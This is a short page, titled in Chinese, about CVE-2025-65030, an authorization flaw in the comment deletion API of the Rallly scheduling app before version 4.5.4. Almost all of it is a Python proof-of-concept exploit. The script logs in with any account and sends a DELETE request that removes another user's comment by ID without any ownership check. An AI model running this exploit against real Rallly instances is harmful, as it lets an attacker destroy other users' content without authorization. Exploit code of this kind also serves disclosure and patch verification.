CVE-2025-65030 Rallly评论删除API存在授权缺陷漏洞

import requests import json # CVE-2025-65030 PoC - Rallly Comment Deletion Authorization Flaw # Target: Rallly < 4.5.4 TARGET_URL = "https://vulnerable-rallly-instance.com" def delete_comment(cookies, comment_id): """ Delete any comment by ID without ownership verification """ endpoint = f"{TARGET_URL}/api/comments/{comment_id}" response = requests.delete(endpoint, cookies=cookies) return response.status_code == 200 def exploit(): # Step 1: Authenticate with any valid account login_data = {"email": "[email protected]", "password": "password123"} session = requests.Session() login_resp = session.post(f"{TARGET_URL}/api/auth/login", json=login_data) if login_resp.status_code != 200: print("[-] Authentication failed") return False cookies = session.cookies print("[+] Authenticated successfully") # Step 2: Target comment ID (obtained from API or page source) target_comment_id = "VICTIM_COMMENT_ID_HERE" # Step 3: Delete victim comment without ownership check if delete_comment(cookies, target_comment_id): print(f"[+] Successfully deleted comment: {target_comment_id}") return True else: print("[-] Failed to delete comment") return False if __name__ == "__main__": exploit()